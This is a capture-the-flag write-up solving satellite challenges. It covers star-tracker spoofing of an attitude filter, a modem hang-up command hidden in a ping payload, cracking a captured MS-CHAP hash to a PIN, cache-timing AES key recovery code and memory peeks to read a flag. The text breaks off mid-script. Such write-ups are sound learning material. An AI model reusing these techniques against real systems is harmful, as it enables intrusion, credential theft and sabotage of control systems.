10
2
Fork 0
has-writeup/writeup.org

53 KiB

≠wpage

Attitude Adjustment

Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 69 points Solves: 62

Our star tracker has collected a set of boresight reference vectors, and identified which stars in the catalog they correspond to. Compare the included catalog and the identified boresight vectors to determine what our current attitude is.

Note: The catalog format is unit vector (X,Y,Z) in a celestial reference frame and the magnitude (relative brightness)

Given files: attitude-papa21503yankee.tar.bz2

Writeup

by barzamin)">erin (barzamin).

For this problem, we have two sets of N vectors which are paired; all points in the first set are just those in the second set up to rotation; we want to find the rotation which maps the first set onto the other one. Since we already know which point in the observation set maps to which vector in the catalog set, we can use the Kabsch algorithm to find the rotation matrix (note that this is called an orthogonal Procrustes problem). I'd only vaguely heard of the Kabsch algorithm before, and in the context of bioinformatics, so I didn't immediately identify it as a good path to the solution. Instead, I just googled "align two sets of vectors", for which it's the third result.

Since nobody has time to implement computational geometry during a ctf, I grabbed an existing Kabsch implementation. For some reason, I didn't notice that scipy.spatial has a Kabsch implementation built in, so I used some random external project, rmsd">rmsd.

First, load the star catalog:

  catalog = {}
  with open('./attitude-papa21503yankee/test.txt') as f:
      i = 0
      for line in f:
          [x, y, z, m] = [float(s.strip()) for s in line.split(',')]
          catalog[i] = {'v': np.array([x,y,z]), 'm':m}
          i += 1

Set up some helpers for parsing the output of the challenge server and solving an orientation:

  def parse_stars(stardata):
      stars = {}
      for line in stardata.strip().split('\n'):
          line = line.strip()
          star_id = int(line.split(':')[0].strip())
          direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
          stars[star_id] = direction
      return stars

  def solve_orientation(stars, catalog):
      P = np.vstack(list(stars.values()))
      Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
      print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
      rotation_mtx = calculate_rmsd.kabsch(P, Q)
      rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
      return rotation

Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog to the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing.

Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server:

  TICKET = 'THE_TICKET'
  r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
  r.send(TICKET+'\n')
  time.sleep(0.5)
  for _ in range(20):
      r.recvuntil(b'--------------------------------------------------\n', drop=True)
      stars = parse_stars(r.recv().decode())
      rotation = solve_orientation(stars, catalog)
      r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
      time.sleep(0.1)
  print(r.clean())

The flag should get printed out on stdout by the final line.

Full code

  import numpy as np
  from pwnlib import tubes
  import time
  import matplotlib.pyplot as plt
  from rmsd import calculate_rmsd
  from scipy.spatial.transform import Rotation

  catalog = {}
  with open('./attitude-papa21503yankee/test.txt') as f:
      i = 0
      for line in f:
          [x, y, z, m] = [float(s.strip()) for s in line.split(',')]
          catalog[i] = {'v': np.array([x,y,z]), 'm':m}
          i += 1

  def parse_stars(stardata):
      stars = {}
      for line in stardata.strip().split('\n'):
          line = line.strip()
          star_id = int(line.split(':')[0].strip())
          direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
          stars[star_id] = direction
      return stars

  def solve_orientation(stars, catalog):
      P = np.vstack(list(stars.values()))
      Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
      print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
      rotation_mtx = calculate_rmsd.kabsch(P, Q)
      rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
      return rotation

  TICKET = 'THE_TICKET'
  r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
  r.send(TICKET+'\n')
  time.sleep(0.5)
  for _ in range(20):
      r.recvuntil(b'--------------------------------------------------\n', drop=True)
      stars = parse_stars(r.recv().decode())
      rotation = solve_orientation(stars, catalog)
      r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
      time.sleep(0.1)
  print(r.clean())

Digital Filters, Meh

Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 104 points Solves: 37

Included is the simulation code for the attitude control loop for a satellite in orbit. A code reviewer said I made a pretty big mistake that could allow a star tracker to misbehave. Although my code is flawless, I put in some checks to make sure the star tracker can't misbehave anyways.

Review the simulation I have running to see if a startracker can still mess with my filter. Oh, and I'll be giving you the attitude of the physical system as a quaternion, it would be too much work to figure out where a star tracker is oriented from star coordinates, right?

Given files: src.tar.gz.

Writeup

by barzamin)">erin (barzamin).

As part of this challenge, we're given a file src.tar.gz by the scoreboard. This contains Octave code which simulates the satellite kinetics and control loop, and, presumably, is what's running on the challenge server.

Digging into the main file, challenge.m, we note a few interesting things. The satellite is running a Kalman filter on the gyroscope data (velocity and acceleration) and star tracker orientation data. Near the start of each control system iteration, there's a check on the Kalman filter error; if greater than a threshold, the controller crashes out:

  % Check error bounds
  if max(abs(err)) > err_thresh
      disp("Error: Estimator error too large... Goodbye");
      disp(q_est);
      disp(target.q_att);
      break;
  endif

Note err_thresh is defined upscript as

  err_thresh = 1*pi/180. ;   % 1 Degree error max

Further down, we see that a PID update step on for the correction is only run every five iterations; this is weird, but doesn't help us as far as we could tell. Even further downscript, we see that every iteration, a check is performed between target and actual orientations (note that actual orientation means, here, the true simulated physical pose of the satellite):

  % Check we're still safe...
  [v,a] = q2rot(quat_diff(actual.q_att, target.q_att));
  if abs(v(2)*a) >  (pi/8)
      disp("Uh oh, better provide some information!");
      disp(getenv("FLAG"))
      break;
  endif

If this check is true (ie, there's >π/8 radians of rotation error on the Y axis), we get the flag! So the challenge here is making the satellite think it's drifted when it hasn't, without making the Kalman filter angry. How can we do that?

The star filter observations are pulled right after the previous check, with the following code:

  % Get Observations
  q_att = startracker(actual);

Looking inside startracker(), we see that it pretty clearly indicates that we are the star tracker; every timestep, the code tells us, the adversary, what the true physical orientation is as a quaternion. We can act as the star tracker and send back a wxyz-format quaternion on stdin, which it will use as the star-tracker output (note that, for some reason, the code they give us uses space-separated floats and the actual challenge uses comma-separated floats):

  % Model must have a q_att member

  function [ q ] = startracker(model) 
    q = model.q_att;
    disp([q.w, q.x, q.y, q.z]);
    fflush(stdout);
    % Get Input
    q = zeros(4,1);
    for i = 1:4
      q(i) = scanf("%f", "C");
    endfor 
    q = quaternion(q(1), q(2), q(3), q(4));
    %q.w = q.w + normrnd(0, 1e-8);
    %q.x = q.x + normrnd(0, 1e-8);
    %q.y = q.y + normrnd(0, 1e-8);
    %q.z = q.z + normrnd(0, 1e-8);
    
    q = q./norm(q);
    
  endfunction

Also note that in challenge.m, immediately after the star tracker call, checking the return value for consistency with the physical model is commented out. We can tell the satellite that it's pointing anywhere we like and it will believe us, although Kalman error might be bad:

  %err = quat2eul(quat_diff(q_att, target.q_att))';
  %if max(abs(err)) > err_thresh
  %    disp("Error: No way, you are clearly lost, Star Tracker!");
  %    break;
  %endif

So we control the star tracker. What can we do?

We immediately noticed the vast count of eul2quat() and quat2eul() calls and wasted so much time trying to get something to gimbal lock. Turns out this problem is deceptively easy, and you don't need to do that at all.

We can't make the discrepancy between the true position and what the star tracker says too great, nor make it vary quickly; the gyroscope is reporting gaussian noise close to zero with very low variance, so any big delta in star tracker orientation will incur error in the Kalman filter. So what can we do?

Turns out all we have to do hold the Y orientation constant and report that. The satellite's true Y euler angle gradually rotates over time due to system dynamics, accumulating controller error on the Y axis, and we eventually get the flag.

Hook up to the server:

  sep = ','
  r = remote('filter.satellitesabove.me', 5014)
  r.clean()
  r.send('THE_TICKET')
  time.sleep(0.1)

Write a little function that pretends to be the star tracker (note: lie was determined by playing with the local simulator a bunch):

  def adversary(true_pose):
      lie = 0.25

      euler = true_pose.as_euler('xyz')
      euler[1] = lie

      return R.from_euler('xyz',euler)

And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag:

  while True:
      rl = r.readline(timeout=3)
      if rl.startswith(b'Uh oh,'):
          r.interactive()
      log.info(f'<== [{i}] {rl}')
      
      [w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
      true_pose = R.from_quat([x,y,z,w])

      new_pose = adversary(true_pose)

      [x,y,z,w] = new_pose.as_quat()
      msg = sep.join(map(str,[w,x,y,z]))
      log.info(f'==> {msg}')
      r.send(msg+'\n')

When we see that string, the script jumps to pwnlib.tubes' interactive mode and we see the flag in the dumped buffer.

Full code

  import numpy as np
  import matplotlib.pyplot as plt
  from pwn import *
  from scipy.spatial.transform import Rotation as R
  import time

  q_att_ts = []
  badnesses = []

  LOCAL = False

  if LOCAL:
      sep = ' '
      r = process('octave challenge.m', shell=True)
  else:
      sep = ','
      r = remote('filter.satellitesabove.me', 5014)
      r.clean()
      r.send('THE_TICKET')
      time.sleep(0.1)

  def adversary(true_pose):
      lie = 0.25

      euler = true_pose.as_euler('xyz')
      euler[1] = lie

      return R.from_euler('xyz',euler)


  for i in range(10000):
      if LOCAL:
          badness = float(r.readline().decode().strip())
          log.info(f'[!] badness: {badness}')
          badnesses.append(badness)

      rl = r.readline(timeout=3)
      if rl.startswith(b'Uh oh,'):
          r.interactive()
      log.info(f'<== [{i}] {rl}')
      
      [w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
      true_pose = R.from_quat([x,y,z,w])

      new_pose = adversary(true_pose)

      [x,y,z,w] = new_pose.as_quat()
      msg = sep.join(map(str,[w,x,y,z]))
      log.info(f'==> {msg}')
      r.send(msg+'\n')

≠wpage

Seeing Stars

Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 23 Solves: 213

Here is the output from a CCD Camera from a star tracker, identify as many stars as you can! (in image reference coordinates) Note: The camera prints pixels in the following order (x,y): (0,0), (1,0), (2,0)… (0,1), (1,1), (2,1)…

Note that top left corner is (0,0)

Write-up

by arcetera)">hazel (arcetera)

The CCD image given by the netcat is a 128x128 matrix of comma-separated values.

We read the data into a NumPy array, and pass that into OpenCV.

  data = []
  for line in rawdat.strip().split('\n'):
      data.append([int(x) for x in line.split(',')])

  x = np.array(data, dtype='uint8').T

  im = x

We then run a filter on the data, only grabbing values in [127, 255] to filter out data that is obviously not stars. We then run two dilates on the image post-filter, because otherwise we end up with a division by zero on centroid finding later for M["m00"]. Finally, we grabbed the contour of every object visible in the image.

  ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
  kernel = np.ones((5, 5), np.uint8)
  dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)

  cnts, hier = cv2.findContours(dilated.copy(), \
                                cv2.RETR_TREE, \
                                cv2.CHAIN_APPROX_NONE)

For each contour, we grabbed its centroid:

  solve = ''
  for c in cnts:
      M = cv2.moments(c)
      cX = int(M["m10"] / M["m00"])
      cY = int(M["m01"] / M["m00"])

      solve += (str(cX) + "," + str(cY)+'\n')
  return solve

We then automated this entire process using pwnlib to connect to the server and read the data.

Full code

  #!/usr/bin/env python3
  import cv2
  import math
  import numpy as np
  from pwnlib import tubes
  import time

  def solve(rawdat):
      data = []
      for line in rawdat.strip().split('\n'):
          data.append([int(x) for x in line.split(',')])

      x = np.array(data, dtype='uint8').T

      im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE)
      ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
      kernel = np.ones((5, 5), np.uint8)
      dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)

      cnts, hier = cv2.findContours(dilated.copy(), \
                                    cv2.RETR_TREE, \
                                    cv2.CHAIN_APPROX_NONE)

      edit = thresh.copy()
      cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3)

      solve = ''
      for c in cnts:
          M = cv2.moments(c)
          cX = int(M["m10"] / M["m00"])
          cY = int(M["m01"] / M["m00"])

          solve += (str(cX) + "," + str(cY)+'\n')
      return solve

  TICKET = 'THE_TICKET'
  r = tubes.remote.remote('stars.satellitesabove.me', 5013)
  r.recvline()
  r.send(TICKET+'\n')
  going = True
  while going:
      rawdat = r.recvuntil('Enter', drop=True)
      time.sleep(0.5)
      r.clean()
      solution = solve(rawdat.decode())
      r.send(solution+'\n')
      time.sleep(0.1)
      if r.recvuntil('Left...\n') == b'0 Left...\n':
          time.sleep(0.1)
          print(r.clean())

Run it, and the flag should be printed as a bytestring.

56K Flex Magic

Category: Communication Systems Points (final): 205 Solves: 13

Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a flag…

UPDATE: Since everyone is asking, yes…a BUSY signal when dialing the ground station is expected behavior.

Write-up

by haskal

An audio file is included that contains a session where a number is dialed, and then some modem data is exchanged (it's a very distinctive sound). Additionally, there is a note included with the following text.

  ---=== MY SERVER ===---
  Phone #: 275-555-0143
  Username: hax
  Password: hunter2

  * Modem implements a (very small) subset of 'Basic' commands as
    described in the ITU-T V.250 spec (Table I.2)

  ---=== THEIR SERVER ===---

  Ground station IP: 93.184.216.34
  Ground station Phone #: 458-XXX-XXXX ...?
  Username: ?
  Password: ?

  * They use the same model of modem as mine... could use +++ATH0
    ping of death
  * It'll have an interactive login similar to my server
  * Their official password policy: minimum requirements of
    FIPS112 (probably just numeric)
      * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'

ITU-T V.250 is essentially a formalization of the Hayes command set, so we can use basic Hayes commands to interact with our local modem, such as

  ATDTXXXXXXXXXX - dial number XXX...
  ATH0           - hang up
  +++            - get the local modem's attention while in a remote session

The first step is to try to get information about the ground station server. We can decode the dial tones from the audio file, which are DTMF tones. Once decoded we obtain a phone number for the ground station of 458-555-0142. However dialing this number results in an error - BUSY. Presumably, the ground station is already dialed into somewhere, and we need to disconnect it.

The "ping of death" refers to injecting a modem command into a packet sent to a remote server in order to cause the server's modem to interpret a hang up command contained in the packet. This can be achieved by pinging with the data +++ATH0, because as the server replies to the ping with the same data, its local modem will interpret the command inside the ping. But we need to escape it with hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the text file to get an initial shell session

  ATDT2755550143

Next, issue a ping of death to the provided server IP

  ping -v 0x2b2b2b415448290d 93.184.216.34

Now the ground station should be disconnected so it is available for us to dial.

  +++ATH0
  ATDT45845550142

We get a login prompt for SATNET

  *   *   . *  *    * .   *   * . *   *  .  
      .  *   *   .    * .    . *      .  *  
   *   +------------------------------+     
     . |            SATNET            |   * 
       +------------------------------+ .   
    .  |    UNAUTHORIZED ACCESS IS    |     
       |     STRICTLY PROHIBITED      |     
  .    +------------------------------+   . 
           .             .                  
                                    .       
                                            
  Setting up - this will take a while...

  LOGIN
  Username:

However we still need the username and password. Maybe the provided audio file has the credentials somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is consistent with the ITU V.21 standard which uses dual-channel Frequency Shift Keying at 300 bits/second. We can use minimodem to decode the modem traffic. We can provide the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.

  minimodem -8 -S 980 -M 1180 -f recording.wav 300
  minimodem -8 -S 1650 -M 1850 -f recording.wav 300

This data looks like garbage but it contains some strings, notably rocketman2674. We assume from the notes file that the password is a 4-digit number, but trying the username rocketman and password 2674 didn't work. We need to look closer. This is the beginning of one side of the exchange in hex:

  00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22  ~.}#.!}!} } }4}"
  00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5  }&} } } } }%}&(.
  00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d  L!}'}"}(}"..~~.}
  00000030: 23c0 217d 217d 217d 207d 347d 227d 267d  #.!}!}!} }4}"}&}
  00000040: 207d 207d 207d 207d 257d 2628 e54c 217d   } } } }%}&(.L!}

It starts with 7eff, which is characteristic of Point-to-Point Protocol. We can decode the packets with scapy, a framework for network protocol analysis. However, first we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically. There are two main tasks, first split up the frames by the 7e delimiters, and then remove the byte stuffing within the frame, since PPP will escape certain bytes with the 7d prefix followed by the byte XOR 0x20. Finally, the frame can be passed to scapy for analysis. This is a VERY lax de-framer because sometimes frames seemed to not be started or terminated properly.

  def decode(ch):
      buf2 = b""
      esc = False

      for x in ch:
          if x == 0x7e:
              if buf2 != b"\xFF" and buf2 != b"":
                  PPP(buf2).show()
              buf2 = b""
              esc = False
          elif esc:
              esc = False
              buf2 += bytes([x^0x20])
          elif x == 0x7d:
              esc = True
          else:
              buf2 += bytes([x])

      if len(buf2) > 0:
          PPP(buf2).show()

(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this snippet.)

Now we can see what the packets mean. In particular, we spot these ones:

  ###[ HDLC ]### 
    address   = 0xff
    control   = 0x3
  ###[ PPP Link Layer ]### 
       proto     = Link Control Protocol
  ###[ PPP Link Control Protocol ]### 
          code      = Configure-Ack
          id        = 0x2
          len       = 28
          \options   \
  .....
           |###[ PPP LCP Option ]### 
           |  type      = Authentication-protocol
           |  len       = 5
           |  auth_protocol= Challenge-response authentication protocol
           |  algorithm = MS-CHAP
  .....

  ###[ PPP Link Layer ]### 
    proto     = Challenge Handshake Authentication Protocol
  ###[ PPP Challenge Handshake Authentication Protocol ]### 
       code      = Response
       id        = 0x0
       len       = 67
       value_size= 49
       value     = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760
  2e9831310b56924f3428b05ad60c7a2b401
       optional_name= 'rocketman2674'

and

  ###[ PPP Link Layer ]### 
    proto     = Challenge Handshake Authentication Protocol
  ###[ PPP Challenge Handshake Authentication Protocol ]### 
       code      = Challenge
       id        = 0x0
       len       = 26
       value_size= 8
       value     = 12810ab88c7f1c74
       optional_name= 'GRNDSTTNA8F6C'

  ###[ PPP Link Layer ]### 
    proto     = Challenge Handshake Authentication Protocol
  ###[ PPP Challenge Handshake Authentication Protocol ]### 
       code      = Success
       id        = 0x0
       len       = 4
       data      = ''

We can see in this exchange that the client has negotiated MS-CHAP authentication and then authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just need the username (rocketman2674), the "challenge" which is used as a salt for the hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We can now convert the data into a John-the-Ripper compatible hash like

  username:$NETNTLM$challenge$hash

  rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4

Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put this hash in a text file and run john file.txt. No need to specify 4 digit pins because john will complete in literal seconds anyway.

  Proceeding with incremental:ASCII
  9435             (rocketman2674)
  1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
  Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
  Session completed

Use rocketman2674 with password 9435 to log in to the ground station, then execute the flag command to get the flag.

Phasors to Stun

Category: Ground Segment Points (final): 62 Solves: 71

Demodulate the data from an SDR capture and you will find a flag. It is a wav file, but that doesn't mean its audio data.

Write-up

by haskal

The provided WAV file contains a signal that looks like this:

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/signal.png

This looks suspiciously like Phase Shift Keying (PSK) and it's a very clean signal (this is also hinted at by the challenge name). We can use Universal Radio Hacker to demod this with very little effort.

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/urh1.png

Select PSK modulation, then click "Autodetect parameters". Then move to Analysis:

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/urh2.png

We discovered that the signal is NRZI (non-return-to-zero inverted) coded, and after selecting this in URH the flag is decoded in the data view.

Leaky Crypto

Many optimized implementations of AES utilize lookup tables to combine all steps of each round of the algorithm (SubBytes, ShiftRows, MixColumns, AddKey) into a single operation. For some X (the plaintext or the result from the previous round) and some K (the round key), they are split bytewise and the XOR product of each respective byte pair is used as the index into a lookup table. During the first round of AES, X is the plaintext of the message, and K is the original message key. Accordingly, given some known plaintext, leaking the index into the lookup table for a particular character leaks the corresponding key byte. There are four lookup tables which are used in each iteration of AES (besides the last round) and which is used is determined by the index of the byte MOD 4. We utilized this paper as a reference for both our understanding of AES and the attack we will detail below.

Many CPUs cache RAM accesses so as to speed up subsequent accesses to the same address. This is done because accessing RAM is quite slow, and accessing cache is quite fast. This behavior would imply that on systems which implement such caching methods, there is a correlation between the amount of time it takes to encrypt a particular plaintext and the occurrences of repeated values of a plaintext byte XORd with a key byte. Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte indexes, p being the plaintext, and families corresponding to which lookup table is being used), we calculate the average time to encrypt such a message over all messages. We then determine if for any pair of characters pi, pj there is a statistically significant shorter encryption time compared to the average. If so, we can conclude that i ⊕ ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set of redundant system of equations relating different key bytes at different indexes with each other. It is important to note that in order for this attack to work, we must know at least one key byte in each family in order to actually solve each system of equations. Additionally, due to how cache works, this attack only leaks the most significant q bits (q being related to the number of items in a cache line). Once the set of possible partial keys (accounting for the ambiguity in the least significant bits of each derived byte) has been obtained by the above method, an attacker may brute force the remaining unknown key bytes.

In the case of Leaky Crypto, a set of 100,000 plaintexts and corresponding encryption times is provided along with the first six bytes of the encryption key. We ran an analyzer program[^1] against these plaintexts to obtain the probable correlation between different indexes in the key with respect to the XOR product of those bytes with plaintext bytes. Per the above, the plaintexts and timing data provided enough information to derive the systems of equations which may be used to solve for key bytes, and the first 6 bytes of the key provided enough information to actually solve said systems of equations. Given the ambiguity of the low bits of each derived key byte, we obtained 214 partial keys with three unknown bytes each. Thus, we reduced the problem of guessing 2128 bits to guessing only 238 bits. We fed our derived partial keys into Hulk to brute force the remaining bytes for each candidate partial key. After 30 minutes had passed, we successfully brute forced the key.

      from itertools import combinations
      import matplotlib.pyplot as plt
      import numpy as np

      def find_outliers(corpus, num_samps, i, j):
          idxs = corpus[i][j].argsort()[:num_samps]
          return idxs
      
      def guess_bytes(corpus, known_keybytes, num_samps, avg):
          candidates = []
          for base in range(4):
              family = [base, base + 4, base + 8, base + 12]
              for combo in combinations(family, 2):
                  i,j = combo
                  guesses = find_outliers(corpus, num_samps, i, j)
                  guesses2 = []
                  for guess in guesses:
                      cnt = corpus[i][j][guess]
                      if cnt-avg < -10:
                          guesses2.append((i, j, guess, cnt-avg))
                      print(i, j, guess, cnt - avg)
                  candidates.append(tuple(guesses2))
          print(candidates)
              
      if __name__ == '__main__':
          known_keybytes = bytes.fromhex("64c7072487f2")
          secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....."
      
          data = set()
          with open("test.txt", "r") as fp:
              for line in fp:
                  pt, timing = line.strip().split(',')
                  pt = bytes.fromhex(pt)
                  timing = int(timing)
                  data.add((pt, timing))
              
          tavg = sum((d[1] for d in data)) / len(data)
          print("tavg: %d" % tavg)
      
          known_tly = np.zeros((16, 16, 256))
      
          for base in range(4):
              print("Building corpus for family %d" % base)
              family = [base, base + 4, base + 8, base + 12]
              for combo in combinations(family, 2):
                  times = np.zeros(256)
                  counts = np.zeros(256)
                  i,j = combo
                  print("Working on %d, %d" % (i, j))
                  for d in data:
                      n = d[0][i] ^ d[0][j]
                      c = d[1]
                      times[n] += c
                      counts[n] += 1
                  for c in range(256):
                      cnorm = times[c] / counts[c]
                      known_tly[i][j][c] = cnorm
                      known_tly[j][i][c] = cnorm
                  
          guess_bytes(known_tly, known_keybytes, 4, tavg)

≠wpage

Bytes Away!

Category: Satellite Bus Points (final): 223 Solves: 11

We have an encrypted telemetry link from one of our satellites but we seem to have lost the encryption key. Thankfully we can still send unencrypted commands using our Cosmos interface (included). I've also included the last version of kit_to.so that was updated to the satellite. Can you help us restore communication with the satellite so we can see what error "flag" is being transmitted?

Write-up

by haskal

Two files are provided for this challenge, one contains the kit_to.so and the other contains a full COSMOS directory tree for accessing the virtual satellite, which can be booted up with the provided netcat endpoint. COSMOS is an open-source command and control framework for satellites using NASA's Core Flight System. The provided COSMOS directory contains everything we need to interact with the virtual satellite, and the kit_to.so is part of the code that runs onboard the actual satellite. Booting up COSMOS is enormously complicated, so Docker can be used to automate the setup. We adapted the Ball Aerospace COSMOS Docker image, and created a script to configure COSMOS to connect to the CTF's satellite instance automatically by writing the configuration file at cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt. When COSMOS is successfully connected to the CTF instance it looks like this (no themes were installed in the Docker container so it looks like Windows 95, I'm so sorry,)

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/COSMOS.png

COSMOS can be used to send commands with the Command Sender, and we can send for example a command for ENABLE_TELEMETRY, which causes the satellite to start sending telemetry. However these are encrypted, so COSMOS cannot understand them.

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/COSMOS_enable_telemetry.png

We also discover another present subsystem called MM, which allows for reading and writing arbitrary memory on the satellite (how useful!) as well as interacting with memory by symbols (extremely useful!).

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/COSMOS_MM.png

The provided kit_to.so contains the code used by the satellite to transmit telemetry to COSMOS. We used Ghidra to analyze the binary (which helpfully includes symbols and debugging information, and that makes our lives way easier for this problem). We discovered that it uses AES CBC with a key and IV retrieved with external functions get_key and get_iv that are not present in the binary. However, these are stored in known locations in memory, which means it would be possible to read the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt the telemetry packets, but there's an easier way. The code contains a function KIT_TO_SendFlagPkt which (as you might guess) sends the flag via encrypted telemetry, and this also writes the flag as an intermediate value to a known memory location. PIE is enabled for this binary, however since the PEEK_MEM command allows looking up memory by symbol name the address randomization is very trivially bypassed.

/BLAHAJ/has-writeup/media/commit/1f3b7b4b0f22fd6143831a1166d4fe29174763df/ghidra.png

Inspecting the structure of KitToFlagPkt shows that the flag is located at offset 12 and is (up to) 200 bytes long. We created a Ruby script in the COSMOS Script Runner to execute PEEK_MEM commands for each byte in the flag range, based on the command COSMOS outputs to the console when running the command manually in the GUI. Note that in order for the function KIT_TO_SendFlagPkt to be called at all, we must first run the ENABLE_TELEMETRY command even though we're not going to look at any actual telemetry.

  12.upto(212) { |off|
    offset = off
    cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, "
        + "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, "
        + "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'")
  }

This directly prints the flag to the console, simply decode the hex to get the flag value.

Magic Bus

Category: Satellite Bus Points (final): 91 Solves: 44 (this number taunts me)

Important note: Team BLAHAJ did not solve this problem until after the competition, and it did not count toward our final point total.

There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory… somewhere…

Write-up

by arcetera)">hazel (arcetera)

*I hate this problem. I hate this problem. I hate this problem. I hate this problem. I literally hate this problem so much. This problem made me cry. I have literally no words to describe the exact extent to which this problem has driven me insane. This problem taunts me in my sleep. This problem taunts me while I am awake. The extent to which I despise this problem is beyond words. I hate this. I hate whoever made this. I want to burn this problem to the ground. This problem has achieved active sentience and holds malice against me and the rest of my team specifically. Had the competition not ended, this problem would hold the rest of the world hostage.*

Furthermore, much of this writeup is failed attempts at a solution. Other writeups may be more useful at determining success, despite our team eventually finding a solution.

…anyway…

When netcatting into the server, a series of hex bytes appears. A cursory analysis of these bytes reveals that all packets start with ^ and end with ., aside from lines starting with byte CA. Decoding the data beginning with byte CA reveals some 🧃🧃🧃. This output has \xca\x00 stripped:

  b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'

I prefer water though. #WaterDrinkers

While I was asleep, the rest of the team managed to reverse the protocol to a decent extent. Namely, the format for strings beginning with :\x00\x00> and :\x00\x00? and ending with ? is: - \0x000000 (6 bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - \xc1 (3 bytes)

An example:

  b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?'
  : 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?

The following Python code decodes this packet structure:

  def to_hex(b):
      return ':'.join(hex(x)[2:] for x in b)

  def decode_pkt(b):
      if len(b) == 0:
          return
      if b[0] == 0xCA:
          pass # raw data?
      elif b[0] == ord(':'):
          if b[3] == ord('>') or b[3] == ord('?'): # > or ?
              field1 = to_hex(b[7:13])  # 6 bytes
              field1end = chr(b[13])    #
              field2 = to_hex(b[15:22]) # 7 bytes
              if b[22] != ord('@'):
                  print('b[22] should be @ but is {}'.format(chr(b[22])))
              field3 = to_hex(b[23:25])
              field3end = chr(b[25])
              c1 = b[26]
              field4 = to_hex(b[27:30])
              if b[30] != ord('?'):
                  print('b[30] is not ?')
              print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
                    field3, field3end, field4))
      elif b[0] == ord(';'):
          print('delimiter') # end of previous packet?
      else:
          print(b[0])
          print('unknown data')
      print('\n')

Noting a delay between packets led me to derive the following packet structure: - START packet, which is equal to the preceding END packet - ONCE call, which occurs prior to a… - ONCE packet - JUICY DATA - END call - END packet, which is equal to the next START packet

This proved to be incorrect, but more on that later.

The following code differentiates between these packets from the netcat, where the variable rawn is the raw byte string:

  start = True
  while True:
